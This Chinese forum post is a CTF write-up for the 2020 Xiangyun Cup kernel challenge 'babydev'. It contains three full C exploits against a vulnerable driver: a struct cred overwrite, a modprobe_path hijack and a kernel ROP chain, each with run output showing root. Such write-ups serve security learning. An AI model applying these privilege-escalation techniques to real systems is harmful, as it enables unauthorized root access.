吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2192|回复: 5
收起左侧

[CTF] 内核pwn-祥云杯-2020babydev

[复制链接]
HNHuangJingYU 发表于 2022-5-4 18:21
本帖最后由 HNHuangJingYU 于 2022-5-5 00:15 编辑

@[toc]

前言

个人觉得exp要写的精简,适当注释,至少不应该留有冗余的代码,对于刚学习的pwner来说看wp是个难熬的过程,甚至误导

我记录下自己踩的坑,给大家节省查资料的时间

题目

2020祥云杯babydev

保护

start.sh

qemu-system-x86_64 \
-s \
-m 256M \
-kernel bzImage \
-initrd core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-cpu qemu64,+smep,+smap \
-nographic \
-monitor /dev/null

这题和babydriver和的名字、保护都差不多,但是题目难多了,开启了smap、smep保护 即禁止内核访问用户空间的数据、内核态无法shellcode

内核版本

$ strings vmlinux| grep "gcc"
%s version %s (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) %s
Linux version 5.4.0-rc3 (lm0963@ubuntu) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #2 SMP Tue Nov 26 18:12:15 CST 2019

init

$ cat init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag    #flag文件为root文件
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod mychrdev.ko  #加载的模块
chmod 777 /dev/mychrdev  #任意读写
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh   

#poweroff -d 0  -f

mychrdev.ko

$ checksec ./mychrdev.ko '/home/hnhuangjingyu/babydev/core/mychrdev.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found  #开启
    NX:       NX enabled #开启
    PIE:      No PIE (0x0)

分析

mychardev_init

在这里插入图片描述

申请了一块0x10010大小的内存将slab-object给到全局变量mydata,和平常内核题不同的是这题在模块初始化的时候就调用了kmalloc_order_trace,这个函数从内核源码分析如下:

//实际调用 : kmalloc_order_trace -> kmalloc_order
void *kmalloc_order(size_t size, gfp_t flags, unsigned int order)
{
        void *ret;
        struct page *page;

        flags |= __GFP_COMP;
        page = alloc_pages(flags, order); //!!!!!!!!!!!!直接调用内核伙伴分配器
        ret = page ? page_address(page) : NULL;
        ret = kasan_kmalloc_large(ret, size, flags);
        /* As ret might get tagged, call kmemleak hook after KASAN. */
        kmemleak_alloc(ret, size, 1, flags);
        return ret;
}

从上面可知它通过伙伴分配器,重新分配了一块页内存!!!!!下面会用到这个点

mychrdev_open
在这里插入图片描述

mychrdev_unlocked_ioctl

mychrdev_llseek

在这里插入图片描述

mychrdev_write

在这里插入图片描述

这个函数全是重点,需要好好理解下,当需要通过mychrdev_llseek函数修改llseek_offset相应的这里的值也会变化,也就是说可用通过调用mychrdev_llseek函数控制写入文件的偏移值        

通过mychrdev_llseek函数和mychrdev_write配合分析可知offset_size控制着llseek修改文件偏移的范围,那么再通过mychrdev_write*(mydata + 0x10008)*变得足够大,那么就可以修改任意的文件偏移指针了

mychrdev_read

在这里插入图片描述

总结的思维图如下:

在这里插入图片描述

思路

这题有三种解法,其实三种解法思路都是一样的,不过就是利用提权的姿势不一样,这里都讲一下:

  1. 控制文件偏移值,利用循环爆破每次读取0x10000大小的内存数据,直到读取到struct cred,再覆盖数据为0
  2. 利用modprobe_path直接读取flag
  3. 同样也是修改文件偏移值,不同解法1的是这里是偏移文件读取后面的地址,最终将指向栈地址,执行栈rop
  4. 好像还有一种通过爆破cred地址的一字节的exp,但是跑不出来,我看了感觉wp写的怪怪的,所以这里没有记录

解法一:(思路不错)

既然要写入数据到struct cred那么就需要知道struct cred的地址,得到cred指针可以通过如下方式:

  1. 定位当前进行task_struct结构体的地址,根据cred指针的相对于task_struct结构体的偏移记得得到
  2. comm 用来标记可执行文件的名字,位于进程的 task_struct 结构体中。我们可以发现 comm 其实在 cred 指针的正下方,所以我们也可以先定位 comm ,然后定位 cred 指针的地址。(本题就是通过prctl对进程设置一个唯一名称,然后扫描这个名称)定义如下:
struct task_struct{
        //......
    /* Process credentials: */

    /* Tracer's credentials at attach: */
    const struct cred __rcu     *ptracer_cred;

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu     *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu     *cred;  //指针

#ifdef CONFIG_KEYS
    /* Cached requested key. */
    struct key          *cached_requested_key;  //指针
#endif

    /*
     * executable name, excluding path.
     *
     * - normally initialized setup_new_exec()
     * - access it with [gs]et_task_comm()
     * - lock it with task_lock()
     */
    char                comm[TASK_COMM_LEN];  //####向上偏移0x10就是 *cred
        //.......
}

回到ida伪代码这里write函数的这句copy_from_user(*(mydata + 0x10000) + llseek_offset + mydata, in_buf, size_)其中*(mydata + 0x1000)、llseekk_offset是可控的,只有mydata是内存分配出来的值(不可控),这里需要向mydata的低地址处爆破struct tack_struct

疑问:

  • 为什么mydata的值不会改变,明明是一个slab-object
  • 为什么struct tack_struct地址会比mydata地址低,按照道理来说mydata在模块初始化的时候就分配了,换句话说就是内核启动的时候就mydata已经分配完成,而此时的我们的exp进程并没有运行,exp进程的struct tack_struct还不存在,那么就应该struct tack_struct地址就应该比mydata地址高

为了方便读者阅读,不影响文章的排版,我将疑问的解答放在exp结束后面 ->

回归主题!因为llseek_offset不能输入负数,而*(mydata+0x10000)是可以实现的。看了看函数iocatl泄漏的值发现了mydata的值。为了绕过llessk函数的一些检查,先将*(mydata + 0x10008)处的值设为一个较大的值

void leak_mydat_addr(int fd){
    char buf[0x28] = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
        printf("file -> 0x%llx \n",((size_t*)buf)[i]);
        if(i==4) mydata_addr = ((size_t*)buf)[i];
    }
}

int main(){
    int fd = open("dev/mychrdev",2);
    leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------
    //初始状态:
    //mydata_addr = 0xffff88800dca0000
    //*(mydata + 0x10000) = 0
    //*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------
    //write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )
    //*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么就必须扩大这个值
    //恰好write函数中还有一句:*(mydata + 0x10008) += size_;
    //那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析
    char buf[0x10000] = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);  //重置llseek_offset,不重制则llseek_offset = 0x10000
    write(fd,buf,sizeof buf);
    //此时*(mydata + 0x10008) = 0x20000

接下来就是在*(mydata + 0x10000)处设为负数,控制llessk_offset为0即可向mydata前面的地址出读取内存了

//--------------------爆破---------------------------------
    size_t offset = 0x10001;
    char *crea_name = "my name is root!!!";
    size_t cred_addr;
    prctl(15,crea_name); //PR_SET_NAME //设置进程名称
    while(1){
        lseek(fd,offset,0);
        //注意下面这两句
        //if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )
        //  size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;
        //只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff
        ((size_t*)buf)[0] = -(offset >> 8);
        ((size_t*)buf)[1] = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数
        write(fd,buf,sizeof buf);
        //mydata_addr = 0xffff88800dca0000
        //\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000
        //成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_struct
        memset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据
        lseek(fd,0,0);
        int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容

        if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("cred_addr -> 0x%llx\n",cred_addr);
                break;
            }
        }else{ break;}

        offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据
    }

细节在exp里面有些地方可能需要gdb调试下就明白了,大概的流程就是向*(mydata + 0x10000)处写入-0x10000而对应的llsessk_offset值则为0x20000 最终就是在 *(mydata + 0x10000)中写入-0x10000,然后使用read函数读取mydata - 0x10000处的内容进行内容匹配是否存在struct cred结构信息,不存在即每次自增-0x10000

在爆破得到cred指针地址后,使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可对struct cred进行写入

//--------------------getshell---------------------------------
    //得到cred指针地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可
    //mydata值固定 , 其余两个都是可控变量
    //构造*(mydata + 0x10000)值
    lseek(fd,offset + 0x10000,0);
    ((size_t*)buf)[0] = (cred_addr - mydata_addr)>> 8;
    ((size_t*)buf)[1] = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值
    write(fd,buf,sizeof buf);

    //构造llseek_offset值
    lseek(fd,0x100 - (cred_addr & 0xff),0);

    char mem[28] = {0};
    write(fd,mem,sizeof mem);

    system("/bin/sh");

完整exp

#include<stdio.h>

size_t mydata_addr;

void leak_mydat_addr(int fd){
    char buf[0x28] = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
        printf("file -> 0x%llx \n",((size_t*)buf)[i]);
        if(i==4) mydata_addr = ((size_t*)buf)[i];
    }
}

int main(){
    int fd = open("dev/mychrdev",2);
    leak_mydat_addr(fd);//其实也可以不用泄漏,地址固定,这个地址gdb一下就看出来了,为了理清思路第一个exp尽量写的详细点
//-----------------------------------------------------
    //初始状态:
    //mydata_addr = 0xffff88800dca0000
    //*(mydata + 0x10000) = 0
    //*(mydata + 0x10008) = 0
//------------------扩大值-----------------------------------
    //write函数中有一句:if ( ** && llseek_offset >= *(mydata + 0x10008) )
    //*(mydata + 0x10008)上面说了这个值默认为0,那么想控制llseek_offset进行文件偏移读写,那么就必须扩大这个值
    //恰好write函数中还有一句:*(mydata + 0x10008) += size_;
    //那么就刚好满足我们的需求,首先将它进行扩大,以便后面进行分析
    char buf[0x10000] = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);  //重置llseek_offset,不重制则llseek_offset = 0x10000
    write(fd,buf,sizeof buf);
    //此时*(mydata + 0x10008) = 0x20000
//--------------------爆破---------------------------------
    size_t offset = 0x10001;
    char *crea_name = "my name is root!!!";
    size_t cred_addr;
    prctl(15,crea_name); //PR_SET_NAME //设置进程名称
    while(1){
        lseek(fd,offset,0);
        //注意下面这两句
        //if ( (unsigned __int64)(llseek_offset + size_) > 0x10000 )
        //  size_ = (unsigned __int16)-*(_WORD *)llseek_offset_porinter;
        //只需要将最后2字节设为0001且满足上面的条件 即可将size=0xffff
        ((size_t*)buf)[0] = -(offset >> 8);
        ((size_t*)buf)[1] = 0xffffffffffffffff >> 12;    //修改*(mydata + 0x10008)值,右移12位防止变>负数
        write(fd,buf,sizeof buf);
        //mydata_addr = 0xffff88800dca0000
        //\*(mydata + 0x10000) = (0xffff88800dca0000) -> 0xffffffffffff0000 = -0x10000
         //成功写入-0x10000后就可以使用read读写mydata前面的数据了,我们目的是需要找到结构体task_struct,因为位置不确定,所以需要爆破进行读取直到读取到struct task_struct
        memset(buf,0,sizeof buf);//清空缓冲区,方便下面识别数据
        lseek(fd,0,0);
        int err = read(fd,buf, sizeof buf);//读取mydata - 0x10000的内容

        if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);//这里为了找到该进程结构体,可以给进程一个标识符号,通过prctl(PR_SET_NAME,"***")进行标识
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("cred_addr -> 0x%llx\n",cred_addr);
                break;
            }
        }else{ break;}

        offset += 0x10000; //控制范围,每次向前读取0x10000的内存数据
    }
//--------------------getshell---------------------------------
    //得到struct cred地址后使*(mydata + 0x10000) + llseek_offset + mydata == cred_addr即可
    //mydata值固定 , 其余两个都是可控变量
    //构造*(mydata + 0x10000)值
    lseek(fd,offset + 0x10000,0);
    ((size_t*)buf)[0] = (cred_addr - mydata_addr)>> 8;
    ((size_t*)buf)[1] = 0xffffffffffffffff >> 12; //修改*(mydata+0x10008)的值
    write(fd,buf,sizeof buf);

    //构造llseek_offset值
    lseek(fd,0x100 - (cred_addr & 0xff),0);

    char mem[28] = {0};
    write(fd,mem,sizeof mem);

    system("/bin/sh");
    return 0;
}

运行结果

/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffd66ffb4a0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
cred_addr -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ # cat flag
flag{nothing}

疑问解答:

在做这题的时候参考了一些师傅的wp都没说为什么是向mydata的低地址处爆破,在此之间花了一段时间研究内核内存管理最终得出以下总结:

从上面分析mychardev_init函数可知mydata是通过伙伴分配器(不是slab分配器)重新拉取了页内存,因为是一块新的大内存所以不存在这块内存被别的进程使用所以它每次运行的值固定为:0xffff888005ca0000(所以可以不需要泄露该值地址),当我们执行exp程序后此时对应进程的struct task_struct就产生了,但是内核中依旧还有小内存碎片它们还被slab分配器管理着,理所应当我们exp进程的struct task_struct所需的内存就被slab分配器就接手分配了,所以task_struct的地址它会在mydata前面,且它的地址也不应该是固定的,为了验证我的说法,我将每次的task_struct地址和mydata的地址都打印出来,添加打印如下:

        int err = read(fd,buf, sizeof buf);
                                                printf("offset > -0x%llx\n",offset);  //新增
        if(err != -1){
            int result = memmem(buf,sizeof buf,crea_name,sizeof crea_name);
            if(result){
                size_t addr = buf - (int)buf + result;
                cred_addr = *(size_t*)(addr - 0x10);
                printf("mydata -> 0x%llx\n",mydata_addr);//新增
                printf("offset -> 0x%llx\n",result);//新增
                printf("cred_pointer -> 0x%llx\n",cred_addr);
                break;
            }
        }else{ break;}

运行结果:

//第一次运行:
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe59adf4b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000   //mydata值不变
offset -> 0x59ae2048                //偏移
cred_pointer -> 0xffff888005c8bd80
//第二次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffef4925b60
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000        //mydata值不变
offset -> 0xf4926238                //偏移
cred_pointer -> 0xffff888005c81d80
//第三次运行
/ $ ./exp
file -> 0x70786500000064
file -> 0x7ffe71be88b0
file -> 0x10000001b7ea0
file -> 0xffffffff00000000
file -> 0xffff888005ca0000
offset > -0x10001
offset > -0x20001
offset > -0x30001
offset > -0x40001
mydata -> 0xffff888005ca0000        //mydata值不变
offset -> 0x71be8f88                //偏移
cred_pointer -> 0xffff888005c8bd80
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)

偏移不一致也就说明地址在变化

解法二:(最精简)

在这之前,你应该了解利用modprobe_path读取flag,具体的使用姿势可以看https://xz.aliyun.com/t/6067#toc-12 这个文章,也可以看我总结的文章https://blog.csdn.net/csdn546229768/article/details/124546007

在上面解法一后可知道可以通过写入*(mydata + 0x10000)处的值lseek_offset的偏移可进行任意读写,那么这里的思路就是向modprobe_path写入我们的高权限文件路径

#include<stdio.h>

void loadFoot(){
    system("echo -ne '#!/bin/sh  \n/bin/cp /flag /tmp/flag  \n/bin/chmod 777 /tmp/flag' > /tmp/exp.sh \n");  //用于modprobe_path指向的文件
    system("echo -ne '\xff' > /tmp/errofile "); //构造一个错误文件
    system("chmod +x /tmp/exp.sh");
    system("chmod +x /tmp/errofile");
}

int main(){
    size_t modprobe_path = 0xffffffff824445e0;//通过__reqest_mod....得到地址
    size_t mydata = 0xffff88800dca0000;
    //上面两个地址都可以通过gdb调试得到,且固定
    loadFoot();
//-----------------------扩大0x(mydata+0x10008)值-----------------
    int fd = open("dev/mychrdev",2);
    char buf[0x10000] = {0};
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------
    lseek(fd,0x10001,0);
    ((size_t*)buf)[1] = 0xffffffffffffffff >> 12;  //修改*(mydata + 0x10008)值,右移12位防止变>负数
    write(fd,buf,sizeof buf);

    lseek(fd,0x10001,0);
    ((size_t*)buf)[0] = (modprobe_path - mydata) >> 8;
    write(fd,buf,sizeof buf);
//-----------------------getflag-----------------
    char name[0x10] = "/tmp/exp.sh\x00";
    lseek(fd,modprobe_path & 0xff,0);
    write(fd,name,sizeof name);
    //write(fd,name,0x10000);//会导致执行exp后qemu卡死
    //write(fd,name,0x1000);//报错:kernel NULL pointer dereference, address: 0000000000000000
                //所以覆盖的内容尽量保证内存结构
    system("./tmp/errofile");//执行错误文件,触发call_modprobe函数,从而执行我们的权限文件
    system("cat /tmp/flag");
    return 0;
}

运行结果

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exp
./tmp/errofile: line 1: ÿ: not found
flag{nothing}
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ls -l /tmp/flag
-rwxrwxrwx    1 root     root            14 May  2 15:40 /tmp/flag

解法三:(最简单)

因为有任意写的漏洞,且mydata和栈的值都泄漏了,那么就可以利用写入到栈返回地址,实现rop,其实原理都和上面一样,不过就是将任意写的地址换成了栈地址,这里有个泄漏栈的方式很细,首先调用泄漏方法

void leak(int fd){
    size_t base = 0xffffc90000000000;  //一般内核栈地址都是这个开头

    size_t buf[5] = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
        printf("leak -> 0x%llx \n",buf[i]);
        if(i==2) stack = base | ((buf[i] << 4 ) >> 4); //将高4位设为0
        if(i==4) mydata = buf[i];
    }
}

运行

//-------------------------------------------
/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0  //可以进行gdb调试的时候低8位就是栈地址,然后内核栈地址的高8字节固定是0xffffc900,那么就可以推断出内核栈地址了
leak -> 0xffffffff00000000 
leak -> 0xffff88800dca0000

然后就是常规的内核rop了,因为开启了smap所以需要用汇编rop

完整exp

#include<stdio.h>

#define POP_RDI 0xffffffff813ead2c //: pop rdi ; ret
#define XCHG_RAX_RDI 0xffffffff81768ef2 //: xchg rax, rdi ; ret
#define SWAPGS 0xffffffff81c00eae //: swapgs ; popfq ; pop rbp ; ret
#define IRETQ 0xffffffff81025a56 

size_t stack, mydata;
size_t prepare_kernel_cred = 0xffffffff8108d690 , commit_cred = 0xffffffff8108d340;

void leak(int fd){
    size_t base = 0xffffc90000000000;  //一般内核栈地址都是这个开头

    size_t buf[5] = {0};
    ioctl(fd,0x1111,buf);
    for(int i = 0 ; i < 5; i++){
        printf("leak -> 0x%llx \n",buf[i]);
        if(i==2) stack = base | ((buf[i] << 4 ) >> 4); //将高4位设为0
        if(i==4) mydata = buf[i];
    }
}

size_t user_sp ,user_ss , user_cs , user_flag;
void save(){
    asm(
        "mov %cs , user_cs;"
        "mov %ss , user_ss;"
        "mov %rsp , user_sp;"
        "pushf;"
        "pop user_flag;"
        );
}
void getShell(){
    execl("/bin/sh","sh",0);
}
int main(){
    save();
    int fd = open("dev/mychrdev",2);
    leak(fd);
//-----------------------扩大0x(mydata+0x10008)值-----------------
    char buf[0x10000] = {0};
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
    lseek(fd,0,0);
    write(fd,buf,sizeof buf);
//-----------------------写入modprobe_path地址-----------------
    lseek(fd,0x10001,0);
    ((size_t*)buf)[1] = 0xffffffffffffffff >> 12;  //修改*(mydata + 0x10008)值,右移12位防止变>负数
    write(fd,buf,sizeof buf);

    lseek(fd,0x10001,0);
    stack -= 0x10;  //write函数的ret栈地址
        printf("stack -> 0x%llx \n",stack);
    ((size_t*)buf)[0] = (stack - mydata) >> 8;
    write(fd,buf,sizeof buf);
//-----------------------getflag-----------------
    size_t rop[0x10] = {0};
    int i = 0;
    //因为开启了smap不能访问用户态,且gadget没有cr4 ret相关指令
    //所以用汇编形式进行rop
    rop[i++] = POP_RDI;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = XCHG_RAX_RDI;
    rop[i++] = commit_cred;
    rop[i++] = SWAPGS;
    rop[i++] = 0;
    rop[i++] = stack;    //rbp
    rop[i++] = IRETQ;
    rop[i++] = getShell;
    rop[i++] = user_cs;
    rop[i++] = user_flag;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    lseek(fd,stack & 0xff,0);
    write(fd,rop,sizeof rop);
    return 0;
}

执行结果

/ $ ./exp
leak -> 0x70786500000064
leak -> 0x7ffe2f27c3e0
leak -> 0x10000001b7ea0
leak -> 0xffffffff00000000
leak -> 0xffff88800dca0000
stack -> 0xffffc900001b7e90
/ # id
uid=0(root) gid=0(root)
/ # cat flag
flag{nothing}

历时一周终于搞定这题了,幸亏是五一放假,不然平时上课还真没时间整

参考文章

这篇文章是几位师傅推荐的,确实写的不错:
http://p4nda.top/2018/11/07/stringipc/#1-%E4%BF%AE%E6%94%B9cred%E7%BB%93%E6%9E%84%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90

免费评分

参与人数 3威望 +1 吾爱币 +24 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
笙若 + 1 + 1 谢谢@Thanks!
XhyEax + 3 + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

hua467959375 发表于 2022-5-4 18:26
大佬们太深奥了
rhci 发表于 2022-5-4 21:01
XhyEax 发表于 2022-5-4 22:30
感谢分享!

顺便捉个虫:
看了看函数iocatl泄漏的值发现了mydata的值

ioctl多打了个a
timelessxp 发表于 2022-5-5 22:55
感谢楼主分享。
坎德沃 发表于 2022-5-18 01:01
师傅能讲讲学了栈和堆之后怎么深入吗,比如kernel和VM的pwn怎么入门
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:18

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表